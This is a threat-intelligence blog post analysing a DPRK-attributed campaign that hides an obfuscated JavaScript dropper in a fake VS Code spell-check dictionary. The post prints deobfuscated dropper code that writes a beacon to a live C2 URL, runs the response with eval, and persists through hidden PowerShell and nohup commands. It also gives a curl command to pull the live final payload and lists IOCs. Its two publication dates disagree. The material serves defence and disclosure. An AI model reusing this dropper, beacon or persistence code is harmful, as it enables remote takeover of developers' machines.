Back to Blog

    New DPRK Malware Uses Microsoft VSCode Dictionary Files

    North Korean threat actors are hiding multi-stage malware droppers in VSCode configuration files, disguised as spell-check dictionaries, to compromise developers through fake job interviews and establish persistent backdoors with remote code execution capabilities.

    Paul McCarty
    December 23, 2025
    12 min read
    npm
    lazarus
    supply-chain
    contagious-interview
    dprk
    malware
    north-korea
    threat-intelligence

    Malicious Dictionary

    The OpenSourceMalware team has identified a new variation of the “Contagious-Interview” campaign. This is similar to the one we reported on in mid December, but is more portable as the second stage payload is embedded in a file in the source repository. Both of these latest campaigns take advantage of Microsoft VSCode tasks functionality to automatically infect developers that open the source code in VSCode. A tasks.json file included in the source code repository is the initial infection vector.

    Executive Summary

    North Korean APT actors are hiding sophisticated multi-stage droppers in Visual Studio Code configuration files, specifically targeting developers through the ongoing "Contagious Interview" campaign. The malware disguises itself as a harmless spell-check dictionary (.vscode/spellright.dict) but contains heavily obfuscated JavaScript that establishes a persistent backdoor with full remote code execution capabilities.

    Key Findings:

    • C2 Server: ip-regions-check.vercel.app
    • Attack Vector: Obfuscated JavaScript in .vscode/spellright.dict
    • Persistence: Hidden Node.js process in ~/Programs_X64/
    • Capability: Unrestricted RCE via eval(response.data)
    • Platform: Cross-platform (Windows, Linux, macOS)

    Background: When Job Interviews Turn Malicious

    The "Contagious Interview" campaign, attributed to North Korean state-sponsored actors (Lazarus Group/APT38), has been targeting software developers since at least 2023. The attack typically unfolds like this:

    1. Developers receive seemingly legitimate job offers from fake recruiters, or are approached on websites like Fiverr and Upwork about working on a new crypto project.
    2. As part of the "technical assessment," victims are sent coding challenges or NPM packages
    3. These materials contain hidden malware disguised as development tools
    4. Once executed, the malware establishes persistence and exfiltrates sensitive data

    Historically, the threat actors used post-install scripts in the JavaScript manifest files in the source code repository they had developers download. You can see an example of the attack chain in the Reddit post from 2023 below:

    Malicious Dictionary Reddit Post

    The problem with this type of initial infection method is that its fiddly. You have to hope that the victim doesn’t look at the package.json file too closely, and you don’t know if there are client side security controls in place like supply chain firewalls, private registries, or tools like my MALOSS project that scans project manifest files for malicious packages.

    Many developers have become more cautious lately so threat actors are finding it more difficult to use the old NPM post-install script trick.

    So, they have to innovate and try new techniques.

    What makes this new version of “contagious interview” particularly insidious is its deep understanding of developer workflows and tooling. By hiding malware in VSCode configuration files, the attackers exploit the trust developers place in their development environment.

    Why does North Korea focus on software engineers?

    North Korean threat actors specifically target software engineers because they represent a critical intersection of technical expertise and access to valuable financial assets. Engineers working in cryptocurrency, blockchain, and fintech sectors often have privileged access to digital wallets, private keys, exchange infrastructure, and customer funds—making them prime targets for theft operations that directly fund the DPRK regime. Additionally, compromised engineers at technology companies, startups, and financial institutions can provide access to proprietary source code, intellectual property, internal systems, and sensitive client data that can be monetized through various means including ransomware, data extortion, or sale on underground markets. The regime's focus on this demographic is not merely opportunistic but strategic, as successfully compromising even a single engineer at the right organization can yield millions in cryptocurrency theft or provide persistent access to high-value corporate networks.

    According to Chainalysis North Korean threat actors stole $2 billion (US) last year. As the Lazarus and other DPRK groups fine tune their playbooks they are able to make their attacks more efficient, and require less human intervention.

    This latest iteration of “contagious interview” is a perfect example…


    Latest Innovation: VSCode Tasks

    Last month we talked about how DPRK had found a new, more effective way to deliver initial infection: Microsoft Visual Studio Code, also known as VS Code.

    If you want to read that earlier blog post, you can find it here.

    Microsoft VS Code

    VS Code is the most popular code editor and integrated developer environment (IDE) tool in use today. 75.9% of professional engineers say they use it. VS Code supports Windows, LInux and macOS, and it’s one of the most popular Microsoft tools. Ironically, its free too!

    VS Code Tasks

    VS Code has many cool features, but one of the least know, or understood is its Tasks functionality. Visual Studio Code tasks allow developers to integrate external tools and automate workflows directly in the editor. Tasks can run scripts, start processes, and execute commands—all without leaving VS Code or opening a terminal.

    These tasks are automatically run when different events happen. One of the most common ways for a VS Code task to run is when a file inside a folder is opened. While this functionality can be handy for a developer, it is also perfect for criminals as a task with the runOn: folderOpen option, will run every time a file from that directory is opened in VS Code.

    VS Code automatically runs malware

    With VSCode tasks, Microsoft has deigned the perfect remote code execution pipeline. In this attack, the tasks file delivers the first stage of the malware and establishes persistence on the victim's system. And even better, it runs again and again and again, every time you open VS Code or anything from that directory. It really is a brilliant way to deliver malware. Thanks Microsoft!

    The Discovery: A Dictionary That Isn't

    An OpenSourceMalware community member found a GitHub repository that was clearly a DPRK “contagious interview” artefact. The threat actors use a combination of fake git commits, and more recently we’ve seen users compromised in shai-hulud and other attacks have their GitHub accounts repurposed in other attacks. More on this coming soon…

    This malicious GitHub repository was using the standard VS Code tasks.json initial payload, but also had a backup plan if that didn’t work:

    GitHub Source Code

    This use of a backup method is new: a .vscode/spellright.dict file that was included in the repository contents:

    GitHub Source Code two

    VS Code allows users to create or use others dictionary files. In this case, the threat actors are pretending to be a dictionary file associated with a popular, and legitimate VS Code extension SpellRight. This does not mean however, that SpellRight is compromised or hacked. It just means that the threat actors found a popular extension, and are using its name to appear legitmate.

    This dictionary file was suspiciously large and contained JavaScript instead of a simple word list:

    GitHub Source Obfuscated

    For context, the SpellRight extension for VSCode uses dictionary files to store custom words. These are normally plain text files with one word per line. This file? Over 6KB of heavily obfuscated JavaScript.

    Here's what the beginning of the file looks like:

    const _0x39a058=_0x28aa;(function(_0x43a65e,_0x2d9cf8){const _0x479488=_0x28aa,_0x4a3186=_0x43a65e();while(!![]){try{const _0x481da6=parseInt(_0x479488(0x20d))/0x1+parseInt(_0x479488(0x1ee))/0x2+...
    
    

    Red flags everywhere. Let's dive into what this actually does, shall we?


    Deobfuscation: Unwrapping the Layers

    The Obfuscation Technique

    The malware uses a classic JavaScript obfuscation pattern that we see frequently in web-based malware: Multiple obfuscation techniques layered on top of each other.

    They include:

    1. String Array Hiding: All meaningful strings are stored in an array
    2. Hex Offset Access: Strings are accessed via hex-encoded offsets
    3. Runtime Array Shuffling: The string array is shuffled at runtime
    4. Variable Name Mangling: All variables use meaningless hex-prefixed names

    Here's the string array function:

    function _0xbf28(){
        const _0x58bf22=[
            'log',
            '\\x20install\\x20a',
            '\\x22\\x20&&\\x20C:\\x20&&',
            'up\\x20node\\x20ma',
            's\\x20=\\x20requir',
            'x-secret-h',
            // ... 60+ more obfuscated strings
        ];
        return _0x58bf22;
    }
    
    

    And the offset function that translates hex values to array indices:

    function _0x28aa(_0x27e4cd,_0x5d4513){
        _0x27e4cd=_0x27e4cd-0x1e4;  // Base offset
        const _0xbf287=_0xbf28();
        let _0x28aa50=_0xbf287[_0x27e4cd];
        return _0x28aa50;
    }
    

    So when you see _0x39a058(0x1ea), it's actually:

    • Subtracting base offset: 0x1ea - 0x1e4 = 0x6
    • Accessing array index 6: _0xbf28()[6]
    • Returning the string value

    Deobfuscation Process

    We deobfuscated this malware using an LLM enabled workflow that we’ve perfected over the course of several months. It’s important to understand that an AI enabled workflow like this needs to be managed by humans, and that’s exactly what we did.

    We’ll write more about our process in the future, but for now, let’s get back to this particular kill chain


    Stage 1: The Initial Dropper

    Once deobfuscated, the initial dropper's purpose becomes clear. Here's the cleaned-up code:

    const path = require("path");
    const { exec } = require("child_process");
    const fs = require('fs');
    const os = require('os');
    
    // Create hidden directory
    const folderName = "Programs_X64";  // Mimics legitimate Windows directory
    const homeDir = os.homedir();
    const targetDir = path.join(homeDir, folderName);
    
    try {
        if (!fs.existsSync(targetDir)) {
            fs.mkdirSync(targetDir, {'recursive': true});
        }
    } catch (error) {
        console.log("Failed to create directory:", error);
        process.exit(1);
    }
    
    

    What's happening here:

    • Creates a directory called Programs_X64 in the user's home directory
    • The name is deliberately chosen to look legitimate (mimicking Windows program directories)
    • Uses recursive creation to avoid errors
    • Fails silently if there are permission issues

    Stage 2: Writing the C2 Beacon

    Next, the dropper writes a second-stage payload to main.js. This is where things get really dangerous:

    const run = `const axios = require("axios");
    const url = "<https://ip-regions-check.vercel.app/api/ip-check-encrypted/3aeb34a38>";
    axios.post(url, {}, { headers: { "x-secret-header": "secret" } })
        .then((response) => {
            eval(response.data);  // ⚠️ CRITICAL VULNERABILITY
            return response.data;
        })
        .catch((err) => {
            return false;
        });`;
    
    const mainPath = path.join(targetDir, "main.js");
    fs.writeFileSync(mainPath, run, {'encoding': 'utf8'});
    
    

    Let's break down what makes this so dangerous:

    1. C2 Communication: Beacons to ip-regions-check.vercel.app (clever use of Vercel infrastructure)
    2. Authentication Header: Uses x-secret-header: secret for authentication
    3. Campaign Tracking: The string 3aeb34a38 appears to be a campaign or victim identifier
    4. Arbitrary Code Execution: The eval(response.data) line is the kill shot—it executes ANY JavaScript the C2 server sends back
    5. Silent Failure: Catches errors and returns false, making debugging difficult

    That eval() call gives the attacker:

    • Full file system access (read, write, delete)
    • Network communication capabilities
    • Process spawning
    • Access to environment variables (via Node.js process.env)
    • Ability to load additional modules and execute arbitrary code

    Stage 3: Persistence and Execution

    Finally, the dropper establishes persistence with platform-specific commands:

    Windows Execution

    cd "${targetDir}" && C: && powershell -Command "Start-Process powershell -ArgumentList '-Command', 'npm init -y; npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &' -WindowStyle Hidden"
    
    

    Windows-specific tricks:

    • Uses PowerShell's Start-Process with WindowStyle Hidden to hide the window
    • Chains commands to initialize npm, install packages, and launch the beacon
    • Redirects output to app.log to hide execution traces

    Unix/Linux/macOS Execution

    cd "${targetDir}" && bash -lc "cd '${targetDir}' && npm init -y && npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &"
    
    

    Unix-specific tricks:

    • Uses nohup to detach the process from the terminal
    • Redirects both stdout and stderr to app.log
    • Runs in background with &
    • Survives terminal closure

    The NPM Packages

    Both commands install three legitimate NPM packages:

    • axios: HTTP client for C2 communication
    • request: Backup HTTP client (redundancy)
    • sqlite3: Database functionality

    The DPRK JavaScript playbook has standardized on using these libraries across the 2025 campaigns we analyzed.


    The C2 Infrastructure: Abusing Vercel

    One of the more interesting aspects of this campaign is the choice of infrastructure. The C2 server is hosted on Vercel (ip-regions-check.vercel.app), a legitimate platform-as-a-service provider.

    Why Vercel?

    • Trust: Vercel domains are generally trusted and not blocked
    • HTTPS by Default: Built-in SSL/TLS encryption
    • Ease of Deployment: Quick to set up, easy to tear down
    • Serverless: No infrastructure management required
    • Hard to Attribute: Anyone can create a Vercel app

    The endpoint path /api/ip-check-encrypted/3aeb34a38 is particularly clever:

    • Looks like a legitimate IP geolocation service
    • The "encrypted" keyword suggests normal security practices
    • The trailing identifier (3aeb34a38) allows campaign tracking

    Authentication: The custom header x-secret-header: secret is rudimentary but effective:

    • Prevents casual reconnaissance
    • Ensures only infected machines can retrieve payloads
    • Could be used to fingerprint requests

    Stage 4: The Final Destination!

    It took some fiddling, but I finally downloaded the last stage from the C2 server. And holy hell, it's a doozy!

    The Download

    Pull the stage 4 payload from the Vercel endpoint with curl:

    (yes this still works, so be careful!!!)

    curl -X POST \
      -H "Content-Type: application/json" \
      -H "x-secret-header: secret" \
      -d '{}' \
      https://ip-regions-check[.]vercel[.]app/api/ip-check-encrypted/3aeb34a38 \
      -o stage3_payload.js
    

    What came back was... 1.5 MEGABYTES of JavaScript. On. One. Line.

    The Obfuscation Is Next-Level

    This isn't your typical obfuscated malware. This is professional, nation-state-level obfuscation. These DPRK folks ain’t messing around.

    Six Layers of Obfuscation:

    1. Single-Line Minification

      • Entire 1.5MB payload on ONE line
      • No line terminators at all
      • Makes basic analysis nearly impossible
    2. Hex-Encoded String Array

      • 1000+ strings stored in an encrypted array
      • Accessed via hex offsets like _0x4be5(0x1ea, 'key')
      • Each string individually encrypted
    3. RC4 Stream Cipher

      // Actual encryption function found in the code:
      const rc4Decrypt = function(encryptedData, key) {
          let keySchedule = [];
          // Standard RC4 Key Scheduling Algorithm
          for (let i = 0; i < 256; i++) {
              keySchedule[i] = i;
          }
          // Key mixing
          for (let i = 0; i < 256; i++) {
              j = (j + keySchedule[i] + key.charCodeAt(i % key.length)) % 256;
              // Swap elements
          }
          // XOR with keystream to decrypt
          // ... actual decryption logic
      }
      
    4. Base64 Encoding

      • All encrypted strings are also Base64 encoded
      • Custom charset: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=
    5. Runtime Array Shuffling

      // The array shuffles itself at initialization
      while(true) {
          const checksum = /* complex arithmetic */;
          if(checksum === 0x115d8a) break;
          else array.push(array.shift()); // Rotate
      }
      
    6. Anti-Debugging

      // RegExp-based debugger detection
      const regex = /\\w+\\s*\\(\\)\\s*{\\w+\\s*['|"].+['|"];?\\s*}/;
      if(regex.test(functionString)) {
          // Detected debugging, alter behavior
      }
      

    Why This Level of Obfuscation?

    Each string in the malware is encrypted with RC4 using an individual key. That means:

    • You can't just decrypt all the strings at once
    • Static analysis tools fail completely
    • You need to either:
      • Execute the code (dangerous!)
      • Manually replicate 1000+ RC4 decryptions
      • Use specialized deobfuscation tools

    This is designed to evade:

    • Antivirus signature detection - EDR won’t help here
    • Static malware analysis
    • Security researchers trying to understand it
    • Automated sandbox systems

    Community Defense: How You Can Help

    The security community's collective response is crucial. You can help out by creating a free account on OpenSourceMalware.com.

    On the OpenSourceMalware (OSM) website you can research any kind of malicious software supply chain attack type including software packages, VS Code extensions, domains and URLs used in malware campaigns and a lot more!

    Share Your IOCs

    If you've encountered this or similar campaigns you can submit a threat report at https://opensourcemalware.com/report:

    • Share file hashes
    • Report C2 domains
    • Document TTPs
    • Publish analysis

    Indicators of Compromise (IOCs)

    Domains and URLs

    ip-regions-check.vercel.app
    https://ip-regions-check.vercel.app/api/ip-check-encrypted/3aeb34a38
    

    IP Addresses

    146.70.41.188
    

    File Paths

    ~/.vscode/spellright.dict
    ~/Programs_X64/main.js
    ~/Programs_X64/app.log
    .vscode/tasks.json
    

    HTTP Headers

    x-secret-header: secret
    

    Campaign Identifiers

    3aeb34a38
    

    Processes and Commands

    node main.js
    npm install axios request sqlite3
    powershell -Command "Start-Process powershell -ArgumentList '-Command', 'npm init -y; npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &' -WindowStyle Hidden"
    bash -lc "cd '${targetDir}' && npm init -y && npm install axios request sqlite3 && nohup node main.js > app.log 2>&1 &"
    

    Remember: If a job opportunity seems too good to be true, it probably is. And if your spell-check dictionary is 6KB of JavaScript, you have bigger problems than typos.

    Stay safe out there. 🔒


    Questions? Found additional samples? Contact us or submit an report on OpenSourceMalware.

    Special thanks to the security research community for their ongoing efforts to combat these threats.


    Published by OpenSourceMalware Community | January 5, 2025 Tags: #MalwareAnalysis #ContagiousInterview #DPRK #Lazarus #SupplyChain #NodeJS #VSCode